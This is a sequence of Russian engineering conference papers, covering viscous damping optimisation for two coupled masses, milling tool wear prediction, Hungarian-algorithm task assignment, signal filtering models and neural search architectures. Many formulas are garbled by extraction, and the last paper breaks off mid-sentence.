В настоящей статье рассматривается простейший пример подобного рода – си-
стема двух упруго связанных грузов с демпфером вязкого трения между ними. Целью 
работы является определение наилучших значений коэффициента вязкого трения в со-
ответствии с названными выше критериями оптимизации с учетом их модификации.  

Рассмотрим два груза массами 𝑚ଵ и 𝑚ଶ, расположенные на горизонтальной 
плоскости и связанные пружиной жесткостью 𝑐, а также введем в конструкцию систе-
мы демпфер вязкого трения с диссипативным коэффициентом 𝑏 (рисунок 1). Эта си-
стема имеет две степени свободы, и в качестве обобщенных координат удобно принять 
абсолютное смещение 𝑥 левого груза и смещение правого груза относительно левого 𝑦, 
так что абсолютное смещение правого груза будет равно 𝑥  𝑦. 

Рисунок 1 – Система упруго связанных грузов с демпфером вязкого трения 
Запишем кинетическую 𝑇 и потенциальную Π энергии системы, а также дисси-

пативную функцию вязкого трения 𝑅:  

   
𝑇 ൌ ଵ

ଶ
𝑚ଵ𝑥ሶ ଶ  ଵ

ଶ
𝑚ଶሺ𝑥ሶ  𝑦ሶሻଶ ൌ ଵ

ଶ
ሾሺ𝑚ଵ  𝑚ଶሻ𝑥ሶ ଶ  2𝑚ଶ𝑥ሶ𝑦ሶ  𝑚ଶ𝑦ሶ ଶሿ,

Π ൌ ଵ

ଶ
𝑐𝑦ଶ, 𝑅 ൌ ଵ

ଶ
𝑏𝑦ሶ ଶ.

 (1) 

Подставляя эти выражения в уравнения Лагранжа второго рода, получим урав-
нения движения системы:  

 ൜
ሺ𝑚ଵ  𝑚ଶሻ𝑥ሷ  𝑚ଶ𝑦ሷ ൌ 0,

𝑚ଶ𝑥ሷ  𝑚ଶ𝑦ሷ  𝑏𝑦ሶ  𝑐𝑦 ൌ 0.
 (2) 

Переходя к решению оптимизационных задач, обратимся сначала к критерию, 
основанному на степени устойчивости. С этой целью запишем характеристическое 
уравнение, отвечающее системе (2):  

   ฬ
ሺ𝑚ଵ  𝑚ଶሻ𝜆ଶ 𝑚ଶ𝜆ଶ

𝑚ଶ𝜆ଶ 𝑚ଶ𝜆ଶ  𝑏𝜆  𝑐 
ฬ ൌ 𝜆ଶሾ𝑚ଵ𝑚ଶ𝜆ଶ  ሺ𝑚ଵ  𝑚ଶሻ𝑏𝜆  ሺ𝑚ଵ  𝑚ଶሻ𝑐ሿ ൌ 0. (3) 

Видно, что это уравнение четвертой степени имеет два нулевых корня 𝜆ଵ,ଶ ൌ 0, 
которые, очевидно, отвечают возможности равномерного движения системы как едино-
го целого, когда 𝑦 ≡ 0, а величина 𝑥 является линейной функцией времени. Именно по-
этому использование критерия, основанного на степени устойчивости в его традицион-
ной записи, т. е. в виде Δ ൌ minหRe 𝜆ଵ,ଶ,ଷ,ସห, в данной задаче не допускается, т. к. степень 
устойчивости всегда оказывается равной нулю вне зависимости от значения диссипа-
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тивного параметра. Ясно, однако, что можно оптимизировать положение на комплекс-
ной плоскости двух оставшихся корней 𝜆ଷ,ସ уравнения (3), которые находятся из квад-
ратного уравнения  

 𝑚ଵ𝑚ଶ𝜆ଶ  ሺ𝑚ଵ  𝑚ଶሻ𝑏𝜆  ሺ𝑚ଵ  𝑚ଶሻ𝑐 ൌ 0. (4) 
Отметим, что если из системы уравнений (2) исключить 𝑥ሷ , то будем иметь урав-

нение для обобщенной координаты 𝑦 
    𝑚ଵ𝑚ଶ𝑦ሷ  ሺ𝑚ଵ  𝑚ଶሻ𝑏𝑦ሶ  ሺ𝑚ଵ  𝑚ଶሻ𝑐𝑦 ൌ 0, (5) 

для которого уравнение (4) оказывается характеристическим. Отсюда следует, что для 
нахождения оптимального значения диссипативного параметра 𝑏, обеспечивающего 
наиболее эффективное затухание относительного движения грузов, целесообразно вос-
пользоваться модифицированным критерием Δ෩ ൌ minหRe 𝜆ଷ,ସห, который следует макси-
мизировать. Нетрудно понять, что данная задача сводится к аналогичной задаче опти-
мизации демпфирования колебаний обычного линейного осциллятора с одной степе-
нью свободы. В самом деле, уравнение (5) можно представить в традиционном виде:  

    𝑚𝑦ሷ  𝑏𝑦ሶ  𝑐𝑦 ൌ 0,   𝑚 ൌ భమ

భାమ
, (6) 

где величина 𝑚 играет роль приведенной массы. Как показано в [1], для уравнения (6) 
принятый критерий, основанный на максимизации величины Δ෩, т. е. на максимизации 
степени устойчивости системы с одной степенью свободы, достигает максимума при 

𝑛∗ ൌ 𝑘, где 𝑛 ൌ 

ଶ
 – фактор затухания, а 𝑘 ൌ ට




  – частота колебаний линейного ос-

циллятора в отсутствие сил трения. 
 Более интересно рассмотреть интегральный энерго-временной критерий. Как 
уже говорилось во введении, обычно он подразумевает минимизацию интеграла от 
полной механической энергии системы 𝐸 ൌ 𝑇  Π на полубесконечном интервале вре-
мени, т. е. представляется в виде 𝐹 ൌ  𝐸ሺ𝑡ሻ𝑑𝑡

ஶ
 . Однако в рассматриваемой задаче в 

конечном счете ввиду затухания относительного движения грузов происходит выход на 
режим их движения с постоянной скоростью, так что полная энергия будет стремиться  
при 𝑡 → ∞ к ненулевому значению. Это означает, что интеграл в 𝐹 будет равен беско-
нечности, так что в традиционном виде данную величину действительно нельзя ис-
пользовать в качестве критерия оптимизации. Тем не менее, ясно, что его можно моди-
фицировать, представив в виде:  

    𝐹෨ ൌ  ሾ𝐸ሺ𝑡ሻ െ 𝐸ஶሿ𝑑𝑡,
ஶ

  (7) 
где 𝐸ஶ – полная энергия на конечном режиме движения. Для вычисления 𝐸ஶ проинте-
грируем первое уравнение системы (2) и сразу же выразим из него 𝑥ሶ :  

    ሺ𝑚ଵ  𝑚ଶሻ𝑥ሶ  𝑚ଶ𝑦ሶ ൌ 𝑝 ൌ const,   𝑥ሶ ൌ ିమ௬ሶ

భାమ
. (8) 

Отметим, что представленный здесь интеграл является циклическим интегралом 
డ்

డ௫ሶ
ൌ 𝑝 ൌ const, поскольку обобщенная координата 𝑥 является циклической, а величина 

𝑝 полностью определяется начальными значениями обобщенных скоростей. Поскольку 
на установившемся режиме движения 𝑦ሶஶ ൌ 0, то из второй формулы (8) следует, что на 
этом же режиме 𝑥ሶஶ ൌ 𝑝/ሺ𝑚ଵ  𝑚ଶሻ. Обращаясь к формулам (1) для кинетической и по-
тенциальной энергий и полагая в них 𝑦ஶ ൌ 0 и 𝑦ሶஶ ൌ 0, получим:  

 𝐸ஶ ൌ ଵ

ଶ
ሺ𝑚ଵ  𝑚ଶሻ𝑥ሶஶଶ ൌ మ

ଶሺభାమሻ
. (9) 

Подставляя (1) и (9) в выражение для модифицированного критерия (7), будем 
иметь для 𝐹෨ следующую формулу:  

    𝐹෨ ൌ ଵ

ଶ
 ቂሺ𝑚ଵ  𝑚ଶሻ𝑥ሶ ଶ  2𝑚ଶ𝑥ሶ𝑦ሶ  𝑚ଶ𝑦ሶ ଶ  𝑐𝑦ଶ െ మ

భାమ
ቃ 𝑑𝑡.

ஶ
  (10) 

Учитывая теперь, что 𝑥ሶ  определяется согласно второй формуле (8), подставим 
его в (10) и получим после несложных преобразований окончательное выражение:  
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    𝐹෨ ൌ ଵ

ଶ
 ቀ భమ

భାమ
𝑦ሶ ଶ  𝑐𝑦ଶቁ 𝑑𝑡 ൌ ଵ

ଶ
 ሺ𝑚𝑦ሶ ଶ  𝑐𝑦ଶሻ𝑑𝑡,

ஶ
  

ஶ
  (11) 

где использовано обозначение для 𝑚 согласно второй формуле (6). Получившееся вы-
ражение (11) полностью идентично выражению для традиционного интегрального кри-
терия для одностепенного линейного осциллятора, для которого кинетическая и потен-

циальная энергии имеют вид 𝑇 ൌ ଵ

ଶ
𝑚𝑦ሶ ଶ, Π ൌ ଵ

ଶ
𝑐𝑦ଶ, а уравнение движения есть (6). Это 

означает, что все дальнейшие действия оказываются аналогичными построениям, про-
веденным в [1]. Следует иметь в виду, что при рассмотрении интегрального критерия 
результат оптимизации существенно зависит от начальных условий движения. Так, ес-
ли действовать по принципу гарантированного успеха, т. е. искать наилучшее значение 
диссипативного параметра для наихудшей совокупности начальных условий, то опти-

мальное значение есть 𝑛∗∗ ൌ ට√ହିଵ

ଶ
𝑘 ൎ 0.7862𝑘, и оно связано с «золотым сечением». 

Если же трактовать начальные условия как равновероятные и усреднять критерий 𝐹෨, то 
значение 𝑛∗∗ ൌ 𝑘 оказывается таким же, как и при рассмотрении первого критерия.  

Подводя итоги представленного исследования, можно заключить, что задача оп-
тимального выведения двухстепенной системы упруго связанных грузов на режим рав-
номерного движения путем надлежащего выбора диссипативного параметра сводится к 
задаче оптимизации демпфирования колебаний одностепенного осциллятора при ис-
пользовании обоих рассмотренных критериев с учетом их необходимой модификации. 
Это обстоятельство позволяет осуществить оптимальную настройку демпфера вязкого 
трения в соответствии с теми же самыми простыми выражениями, которые отвечают 
простейшему диссипативному осциллятору. Найденные результаты представляют ин-
терес в фундаментальном отношении для теории колебаний и методов оптимизации 
динамических систем, а также они могут найти практическое приложение в конкрет-
ных инженерных задачах.  
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АДАПТИВНАЯ СИСТЕМА ПРОГНОЗИРОВАНИЯ ИЗНОСА РЕЖУЩЕГО 
ИНСТРУМЕНТА ПРИ ФРЕЗЕРНОЙ ОБРАБОТКЕ 
 
ADAPTIVE CUTTING TOOL WEAR PREDICTION SYSTEM FOR MILLING  
 
Аннотация. В статье рассматриваются теоретические аспекты разработки системы про-
гнозирования износа режущего инструмента при фрезерной обработке. Представлен 
анализ существующих подходов к определению стойкости инструмента, основанных на 
классических уравнениях резания. Обоснована необходимость модификации традици-
онных моделей за счет введения дополнительных параметров, учитывающих реальные 
условия обработки. Рассмотрены принципы построения адаптивных алгоритмов управ-
ления режимами резания. 
Abstract. The article examines theoretical aspects of developing a system for predicting cut-
ting tool wear in milling operations. An analysis of existing approaches to determining tool 
life based on classical cutting equations is presented. The need to modify traditional models 
by introducing additional parameters that account for actual processing conditions is substan-
tiated. The principles of constructing adaptive algorithms for controlling cutting conditions 
are considered. 
Ключевые слова: прогнозирование, износ инструмента, фрезерная обработка, стойкость 
инструмента, режимы резания. 
Keywords: forecasting, tool wear, milling, tool life, cutting data 

 
Современные тенденции развития технологий механической обработки требуют 

новых подходов к оценке и прогнозированию износа режущего инструмента. Особую 
актуальность эта проблема приобретает при обработке алюминиевых сплавов, где вы-
сокая производительность должна сочетаться с точностью и качеством поверхности [1]. 

Существующие методы определения стойкости инструмента, основанные на 
нормативных данных, обладают рядом ограничений, связанных с неучетом динамиче-
ски изменяющихся условий обработки. Это обуславливает необходимость разработки 
новых методик, позволяющих более точно прогнозировать износ инструмента в реаль-
ных производственных условиях. 

Современное машиностроение сталкивается с необходимостью разработки но-
вых подходов к прогнозированию износа режущего инструмента, особенно при обра-
ботке алюминиевых сплавов на станках с ЧПУ. Традиционные методы, основанные на 
табличных данных и эмпирических формулах, не учитывают комплексное воздействие 
множества факторов, возникающих в реальных условиях обработки. Это обуславливает 
необходимость создания более совершенных математических моделей, способных 
адекватно описывать процесс изнашивания инструмента с учетом динамически изме-
няющихся параметров обработки. 

Основой предлагаемой математической модели является модифицированное 
уравнение стойкости инструмента, развивающее классическую формулу Тейлора. В от-
личие от традиционного подхода, новая модель включает систему поправочных коэф-
фициентов, каждый из которых учитывает определенный аспект процесса резания. 
Центральное уравнение модели связывает стойкость инструмента T с основными пара-
метрами обработки - скоростью резания V, подачей на зуб f и глубиной резания ap. При 
этом в модель введен обобщенный поправочный коэффициент суммы k, представляю-
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щий собой произведение шести частных коэффициентов, учитывающих различные 
факторы воздействия: 

𝑇 ൌ
𝐶

ሺ𝑉 ∙ 𝑓 ∙ 𝑎
 ሻ

∗  𝑘. 

Важнейшим компонентом модели является дифференциальное уравнение изно-
са, описывающее изменение величины износа W во времени. Это уравнение учитывает 
вклад скорости резания, подачи, глубины резания и температуры в зоне обработки. 
Особенностью модели является раздельное рассмотрение механических и тепловых 
факторов износа, что позволяет более точно прогнозировать развитие процесса изна-
шивания инструмента. Тепловая составляющая модели описывается уравнением тепло-
проводности с источником, учитывающим тепловыделение в зоне резания и теплоотда-
чу в окружающую среду: 

𝑑𝑊
𝑑𝑡

ൌ  𝑘ଵ ∙ 𝑉  𝑘ଶ ∙ 𝑓  𝑘ଷ ∙ 𝑝  𝑘ସ ∙ Ө. 

Модель включает три основных критерия предельного состояния инструмента: 
по величине износа задней поверхности, по достижению критической температуры и по 
ухудшению качества обрабатываемой поверхности. Такой комплексный подход к опре-
делению предельного состояния позволяет более точно прогнозировать момент необ-
ходимости замены инструмента, минимизируя как преждевременную замену, так и ис-
пользование изношенного инструмента. 

Алгоритм расчета, реализующий предложенную модель, представляет собой 
итерационный процесс, включающий последовательное определение параметров обра-
ботки, расчет температурного поля, оценку скорости износа и проверку критериев пре-
дельного состояния. На каждом шаге расчета возможна коррекция параметров обработ-
ки для оптимизации процесса резания. Такой подход позволяет не только прогнозиро-
вать износ, но и предлагать оптимальные режимы обработки для конкретных условий. 

Особое внимание в модели уделено вопросам верификации и определения ко-
эффициентов. Предлагается комплексный подход, включающий проведение серии экс-
периментов с последующей статистической обработкой результатов. Это позволяет 
адаптировать модель к конкретным типам инструмента, обрабатываемым материалам и 
условиям обработки. Важным преимуществом модели является ее модульная структу-
ра, позволяющая при необходимости добавлять новые учитываемые факторы или мо-
дифицировать существующие зависимости без кардинального изменения всей модели. 

Теоретическая значимость разработанной модели заключается в ее способности 
интегрировать различные аспекты процесса фрезерной обработки в единую математи-
ческую схему. Практическая ценность состоит в возможности использования модели 
как основы для создания систем адаптивного управления процессом резания. В пер-
спективе, реализация данной модели в виде программного модуля для систем ЧПУ поз-
волит существенно повысить эффективность процесса фрезерной обработки за счет оп-
тимизации режимов резания и своевременной замены инструмента. 

Разработанная математическая модель представляет собой важный этап в созда-
нии комплексной системы прогнозирования износа режущего инструмента. Ее даль-
нейшее развитие предполагает уточнение коэффициентов на основе эксперименталь-
ных данных, разработку алгоритмов адаптации к изменяющимся условиям обработки и 
интеграцию с системами технического зрения для мониторинга состояния инструмента. 
Все это в совокупности открывает новые возможности для повышения эффективности 
процессов механической обработки в современном машиностроении. 

Особое значение имеет разработка удобных интерфейсов для ввода исходных 
данных и визуализации результатов прогнозирования, что сделает модель доступной 
для использования технологами и операторами станков. 
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Важным направлением дальнейших исследований является расширение области 
применения модели для различных типов инструментов и обрабатываемых материалов. 
Это потребует проведения дополнительных экспериментов и накопления статистиче-
ских данных, но в перспективе позволит создать универсальный инструмент для про-
гнозирования износа в широком диапазоне условий обработки. Особый интерес пред-
ставляет адаптация модели для обработки новых перспективных материалов, таких как 
композиты и аддитивно произведенные заготовки, где традиционные методы прогнози-
рования износа часто оказываются недостаточно эффективными. 

Представленные в статье методологические подходы создают теоретическую 
основу для дальнейших исследований в области прогнозирования износа режущего ин-
струмента. Разрабатываемая система имеет потенциал для применения в различных об-
ластях машиностроения, особенно при обработке сплавов на станках с ЧПУ. Модель 
позволяет: учитывать комплексное воздействие механических и тепловых факторов, 
прогнозировать износ по нескольким критериям, адаптироваться к конкретным услови-
ям обработки. 
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РАЗРАБОТКА ПРОГРАММНОГО МОДУЛЯ ДЛЯ ЭФФЕКТИВНОГО 
РАСПРЕДЕЛЕНИЯ ЗАДАЧ МЕЖДУ СОТРУДНИКАМИ ПРЕДПРИЯТИЯ 
 
DEVELOPMENT OF A SOFTWARE MODULE FOR THE EFFECTIVE 
DISTRIBUTION OF TASKS BETWEEN EMPLOYEES OF THE ENTERPRISE 

 
Аннотация. В работе рассматривается разработка программного модуля для эффектив-
ного распределения задач между сотрудниками предприятия на основе задачи о назна-
чении. Предложенный подход направлен на минимизацию затрат времени и ресурсов 
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путем оптимального соответствия задач и исполнителей при равном их количестве. 
Описывается концепция модуля, его логическая структура и математическая модель, 
включающая матрицу затрат и бинарные переменные для поиска минимальной стоимо-
сти. Приведены основные этапы работы венгерского алгоритма, обеспечивающего вы-
числительную эффективность со сложностью 𝑂ሺ𝑛ଷሻ  
Abstract. The paper considers the development of a software module for the effective distri-
bution of tasks between employees of an enterprise based on the assignment problem. The 
proposed approach is aimed at minimizing time and resource costs by optimally matching 
tasks and performers with an equal number of them. The concept of the module, its logical 
structure and mathematical model, including a cost matrix and binary variables for finding the 
minimum cost, are described. The main stages of the Hungarian algorithm, which ensures 
computational efficiency with complexity 𝑂ሺ𝑛ଷሻ are given. 
Ключевые слова: программный модуль, задача о назначении, венгерский метод, опти-
мизация производственных процессов. 
Keywords: software module, assignment problem, Hungarian method, optimization of pro-
duction processes. 

 
Эффективное распределение задач между сотрудниками является одной из клю-

чевых задач, напрямую влияющей на производительность, сроки выполнения заказов и 
общую экономическую эффективность предприятия (рисунок 1). Неправильное плани-
рование приводит к простоям, перегрузке отдельных работников и снижению качества 
выпускаемой продукции, что особенно критично в условиях высокой конкуренции и 
строгих требований к соблюдению сроков. Разработка программных инструментов, 
обеспечивающих автоматизацию эффективного распределения работ, позволяет мини-
мизировать влияние человеческого фактора и оптимизировать использование ресурсов. 

 
Рисунок 1 – Пример производственного процесса с распределением задач 
В основе базовой модели рассматривается модель задачи о назначениях. Подхо-

ды, изначально разработанные для экономических и логистических задач, находят ши-
рокое применение в управлении производственными процессами, где необходимо учи-
тывать множество переменных: квалификацию сотрудников, доступное время, слож-
ность задач и приоритеты заказов.  
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Целью исследования является создание программного решения, способного ав-
томатизировать процесс распределения задач на производстве с учетом специфики 
конкретного предприятия. Модуль разрабатывается с условиями универсальности и 
адаптивности, позволяющими применять его в различных производственных средах — 
от небольших цехов до крупных заводов. Результаты работы имеют практическую цен-
ность для повышения эффективности управления персоналом и могут служить основой 
для дальнейших исследований в области автоматизации планирования.  

Задача о назначениях решает классическую комбинаторную проблему оптими-
зации, целью которой является нахождение оптимального соответствия между множе-
ством исполнителей (сотрудников) и множеством задач. Логика работы проектируемо-
го модуля заключается в назначении каждому сотруднику задачи таким образом, чтобы 
суммарные затраты (время выполнения, ресурсы или другие издержки) были мини-
мальными. Входные параметры системы: список задач с их характеристиками (слож-
ность, дедлайн, требуемые навыки) и данные о сотрудниках (квалификация, доступ-
ность, текущая загрузка). На концептуальном уровне модуль функционирует следую-
щим образом: сначала формируется матрица затрат, где каждый элемент отражает 
"стоимость" выполнения конкретной задачи конкретным сотрудником. Затем применя-
ется алгоритм оптимизации, который находит такое распределение, при котором общая 
стоимость минимальна, а все задачи распределены без пересечений (один сотрудник — 
одна задача в данный момент времени). Это позволяет избежать перегрузки работников 
и обеспечить равномерную загрузку производственных мощностей. 

 
Рисунок 2 – Пример схемы программного модуля 

Пусть имеется 𝑛 сотрудников и 𝑛 задач. 𝐶 ൌ ൣ𝑐൧ െ   матрица затрат, где 𝑐 െ
 стоимость выполнения задачи 𝑗 сотрудником 𝑖. Вводятся бинарные переменные 𝑥 ൌ
1, если сотрудник 𝑖 назначен на задачу 𝑗, и 𝑥 ൌ 0 в противном случае. Целевая функ-
ция имеет вид: 𝑍 ൌ ∑ ∑ 𝑐𝑥 → 𝑚𝑖𝑛

ୀଵ

ୀଵ . 

Минимальная система основных ограничений: 
1. Каждый сотрудник берет не более одной задачи за раз: 

∑ 𝑥 ൌ
ୀଵ 1, для всех 𝑖 ൌ 1,2 … 𝑛; 

2. Каждая задача назначается не более чем одному сотруднику: 
∑ 𝑥 ൌ

ୀଵ 1, для всех 𝑗 ൌ 1,2 … 𝑚; 
3. Бинарность: 𝑥 ∈ ሼ0,1ሽ. 
Для решения задачи используются методы решения задач линейного програм-

мирования. 
Для решения задач, в случае, когда количество сотрудников равно количеству 

задач (𝑛 ൌ 𝑚), используется Венгерский алгоритм, который позволяет эффективно ре-
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шить задачу о назначении с вычислительной сложностью O(𝑛ଷሻ. Он работает с матри-
цей затрат 𝐶 следующим образом: 

 Из каждой строки матрицы вычитается минимальный элемент, чтобы полу-
чить хотя бы один ноль в строке.  

 Из каждого столбца вычитается минимальный элемент, увеличивая количе-
ство нулей.  

 Находятся независимые нули (по одному в строке и столбце), которые соот-
ветствуют оптимальным назначениям. Если таких нулей меньше 𝑛, матрица корректи-
руется (вычитается минимум из непокрытых элементов, прибавляется к пересечениям 
линий) до получения 𝑛 нулей. 

Разрабатываемый модуль, основанный на минимизации общей стоимости с по-
мощью матрицы затрат и оптимального соответствия, обеспечивает равномерную за-
грузку сотрудников и сокращение временных издержек. Это подтверждает высокую 
практическую ценность подхода для повышения производительности и рационального 
использования ресурсов. 

В перспективе возможно развитие модуля путем интеграции дополнительных 
параметров, таких как срочность задач или индивидуальные предпочтения сотрудни-
ков, сохраняя при этом базовую логику венгерского метода. Полученные результаты 
могут быть применены на предприятиях для автоматизации управления задачами, что 
подчеркивает их значимость для оптимизации производственных процессов и улучше-
ния организации труда. 
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ИССЛЕДОВАНИЕ МАТЕМАТИЧЕСКИХ МОДЕЛЕЙ ДЛЯ УЛУЧШЕНИЯ 
ПОМЕХОУСТОЙЧИВОСТИ ПОЛЕВЫХ ИЗМЕРИТЕЛЬНЫХ ПРИБОРОВ 
 
RESEARCH OF MATHEMATICAL MODELS TO IMPROVE THE NOISE 
IMMUNITY OF FIELD MEASURING DEVICES 
 
Аннотация. Рассматриваются математические модели для улучшения помехоустойчи-
вости измеряемых сигналов в полевых условиях. Анализируются эффективность мате-
матических моделей на снижение влияния помех на детектируемый сигнал на полевых 
измерительных приборах. Даются рекомендации по практическому применению моде-
лей в разрабатываемых измерительных приборах. 
Abstract. Mathematical models for improving the noise immunity of measured signals in the 
field are considered. The effectiveness of mathematical models for reducing the influence of 
interference on the detected signal on field measuring devices is analyzed. Recommendations 
on the practical application of models in the developed measuring instruments are given. 
Ключевые слова: помехоустойчивость, измерительные приборы, радиосигнал, матема-
тические модели, надежность, полевые измерения. 
Key words: noise immunity, measuring instruments, radio signal, mathematical models, relia-
bility, field measurements. 
 

Любой современный электронный измерительный прибор является сложнейшим 
устройством, в основе которого находятся множества систем преобразования и кон-
троля. Все они имеют свойства менять выходной сигнал под воздействием внешних 
воздействий. Все эти системы описываются или программируются при помощи мате-
матических моделей или выводят их. В данной работе под этим внешним воздействием 
будут пониматься внешние чужеродные электромагнитные помехи [1]. 

Сами методы фильтрации можно разделить на классические, вероятностные и 
машинного обучения. Классические методы фильтрации можно разделить на фильтр 
Калмана, адаптивные фильтры и фильтр Винера. Вероятностные методы подразделя-
ются на Байесовский фильтр и скрытые марковские модели. В методы машинной филь-
трации входят сверточные нейронные сети, рекуррентные нейронные сети и генератив-
но-состязательные сети. Есть разновидности моделей, включающие в свой состав не-
сколько из представленных моделей. Самым активно исследуемым на текущий момент 
является метод квантовой фильтрации для усиления помехоустойчивости в сверхчув-
ствительных сенсорах [3]. 

Фильтр Калмана используется для оценки сигналов в динамических системах, с 
воздействующими на них гауссовскими шумами. 

Его модели уравнений состояния и измерений выглядят следующим образом: 
 𝑥 ൌ 𝐴𝑥ିଵ  𝐵𝑢  𝑤. (1) 
В группу адаптивных фильтров входят LMS (Least mean squares) фильтры и RLS 

(Recursive least squares) фильтры. LMS фильтры используются для динамической под-
стройки параметров фильтра с целью минимизации ошибки между желаемым сигналом 
и выходным сигналом системы. Их модель выглядит следующим образом: 

 𝑤ାଵ ൌ 𝑤  𝜇 ∙ 𝑒 ∙ 𝑥. (2) 
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В свою очередь, RLS фильтры при своей работе минимизируют взвешенную 
сумму квадратов ошибок. В модели этого фильтра используется коэффициент забыва-
ния λ. Его модель представлена ниже. 

 𝑃 ൌ λିଵ ∙ 𝑃ିଵ െ షమ∙ೖషభ∙௫ೖ∙௫ೖ
∙ೖషభ

ଵାషభ∙௫ೖ∙௫ೖ
∙ೖషభ

. (3) 

Фильтр Винера используется для минимизации влияния среднеквадратичной 
ошибки между полезным сигналом и оценкой. Формула его модели выглядит следую-
щим образом: 

 𝐻ሺ𝑓ሻ ൌ ௌсሺሻ

ௌсሺሻାௌшሺሻ
. (4) 

В этой формуле за спектр сигнала отвечает переменная 𝑆с , а за спектр шума – 𝑆ш. 
Байесовская фильтрация используется в условиях неопределенности работая с 

«сырыми» данными или же, априорными данными о распределении шумов. 
 𝑝ሺ𝑥|𝑧ଵ:ሻ ∝ 𝑝ሺ𝑧|𝑥ሻ ∙ 𝑝ሺ𝑥|𝑧ଵ:ିଵሻ. (5) 
Использование скрытых марковских моделей предполагает, что система нахо-

дится в одном из скрытых состояний, генерирующих наблюдаемые данные. Скрытые 
марковские модели предполагают, что количество состояний и связи между ними неиз-
вестны, а известны лишь наблюдаемые величины, которые зависят от скрытых пере-
менных [2]. 

Фильтры, основанные на нейронных сетях, входят в класс глубоких нейронных 
сетей, обладающие отличительной архитектурой для обработки входящих данных, 
имеющих пространственную структуру, и являются одним из ключевых инструментов 
в области машинного обучения. Такие фильтры используют автоматическое выделение 
полезных данных из сырого потока информации. 

Формула его модели представлена ниже. 

 minఏฮ𝑥 െ 𝐷ఏ൫𝐸ఏሺ𝑥  𝜖ሻ൯ฮ
ଶ
, (6) 

где 𝐸ఏ – энкодер, 𝐷ఏ – декодер, 𝜖 – шум в сигнале. 
Рекуррентные нейронные сети используются для обработки временных рядов. 
Генеративно-состязательные сети создают «очищенный» идеализированный 

сигнал, который после дискриминатором сравнивается с реальным. Его формула пред-
ставлена ниже. 

 minீ max 𝔼ሺlog 𝐷ሺ𝑥ሻሻ  𝔼 ቀlog ቀ1 െ 𝐷൫𝐺ሺ𝑧ሻ൯ቁቁ. (7) 

Гибридные фильтры состоят из «обычного» фильтра и фильтра нейронных се-
тей. Это нужно для коррекции фильтрами низкочастотных шумов, а нейросетевыми 
фильтрами – высокочастотных. 

Фильтры Калмана и фильтры LMS/RLS лучше всего показывают себя в гауссов-
ских шумах. Адаптивные фильтры и фильтры, основанные на нейронных сетях, реко-
мендуется применять в системах с нестационарными шумами или в условиях полной 
неопределенности. Для импульсных помех рекомендуется использовать медианные 
фильтры, а для многомодальных – гибридные фильтры, состоящие из нескольких вы-
шеперечисленных фильтров. 

Выбор модели зависит задач, выполняемых измерительным прибором, точности 
и вычислительных ресурсов и характера помех. Современные гибридные методы, объ-
единяющие адаптивную фильтрацию и машинное обучение, демонстрируют наиболь-
шую эффективность в условиях неопределенности. Кроме того, на текущий момент 
существует множество активно развивающихся перспективных направлений в области 
помехоустойчивости измерительных приборов, исследования в которой активно ведут-
ся и по сей день. 
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СОВРЕМЕННЫЕ ПОДХОДЫ К АРХИТЕКТУРЕ НЕЙРОННЫХ СЕТЕЙ  
ДЛЯ ПОВЫШЕНИЯ РЕЛЕВАНТНОСТИ ПОИСКА В БОЛЬШИХ ОБЬЕМАХ 
ДАННЫХ  
 
MODERN APPROACHES TO NEURAL NETWORK ARCHITECTURE  
TO INCREASE THE RELEVANCE OF SEARCH IN LARGE DATA VOLUME 
 
Аннотация. В условиях стремительного роста объемов данных, доступных в интернете 
и других источниках, задача повышения релевантности поиска становится критически 
важной. Традиционные методы поиска зачастую не справляются с этой задачей, что 
открывает возможности для применения современных нейронных сетей. В данной ста-
тье рассматриваются современные подходы к архитектуре нейронных сетей, направ-
ленные на улучшение качества поиска и релевантности выдачи результатов.  
Annotation. With the rapid growth in the amount of data available on the Internet and other 
sources, the task of increasing the relevance of search has become critical. Traditional search 
methods often fail to cope with this task, which opens up opportunities for the use of modern 
neural networks. This article discusses modern approaches to the architecture of neural net-
works aimed at improving the quality of search and the relevance of results. 
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В последние годы объемы данных, генерируемых в различных сферах жизни, 

стремительно растут. Социальные медиа, научные публикации, электронная коммер-
ция, новостные ресурсы — все эти источники ежедневно создают огромные массивы 
информации. В таких условиях пользователи сталкиваются с трудностью нахождения 
релевантной информации среди множества неструктурированных данных [1]. Традици-
онные методы поиска, основанные на простых ключевых словах и статических алго-
ритмах, зачастую оказываются недостаточно эффективными для удовлетворения по-
требностей пользователей. Современные нейронные сети предлагают новые решения 
для этих задач, значительно улучшая качество поиска и ранжирования информации. 
Одной из ключевых особенностей нейронных сетей является их способность к глубо-
кому обучению, что позволяет моделям извлекать сложные паттерны и взаимосвязи из 
больших объемов данных. Архитектуры, основанные на механизме внимания и транс-
формерах, продемонстрировали исключительные результаты в обработке естественного 
языка, что открывает новые горизонты для поиска информации [2]. 

Кроме того, существующие подходы к поиску начинают учитывать не только 
текстовые данные, но и мультимодальные источники, включая изображения и видео. 
Это позволяет создавать более полные и точные представления о содержимом, что, в 
свою очередь, увеличивает вероятность предоставления пользователю наиболее реле-
вантных результатов [3]. 

Модели на основе трансформеров 
Модели на основе трансформеров стали основополагающим достижением в об-

ласти обработки естественного языка (NLP) и значительно изменили подходы к поиску 
информации. В отличие от традиционных рекуррентных нейронных сетей (RNN), кото-
рые обрабатывают данные последовательно, трансформеры применяют механизм вни-
мания, позволяющий параллельно обрабатывать всю последовательность данных [4]. 
Это не только ускоряет обучение, но и улучшает способность модели улавливать слож-
ные зависимости между словами. 

Архитектура трансформеров 
Архитектура трансформеров, впервые представленная в работе Vaswani et al. 

(2017), состоит из двух основных компонентов: кодировщика (encoder) и декодировщи-
ка (decoder). Кодировщик преобразует входные данные в контекстуальные векторы, в 
то время как декодировщик использует эти векторы для генерации выходных данных. 
Механизм внимания, используемый в обоих компонентах, позволяет модели динамиче-
ски сосредотачиваться на наиболее значимых частях входной последовательности, что 
повышает качество обработки информации [5]. 

Одной из ключевых особенностей трансформеров является механизм "многого-
лового внимания" (multi-head attention). Он позволяет модели одновременно извлекать 
информацию из различных представлений данных, что способствует более глубокому 
пониманию контекста. Например, при обработке текстового запроса система может од-
новременно учитывать как семантику отдельных слов, так и их взаимосвязи в предло-
жении. 

Модели BERT и его производные 
Одной из наиболее значимых реализаций трансформеров является модель BERT 

(Bidirectional Encoder Representations from Transformers), которая позволяет учитывать 
контекст как слева, так и справа от каждого слова в предложении. Это двунаправленное 
внимание помогает модели лучше понимать значение слов в зависимости от их окру-



560 

жения, что особенно полезно для задач, связанных с поиском и ранжированием инфор-
мации. 

BERT стал основой для многих производных моделей, таких как RoBERTa, 
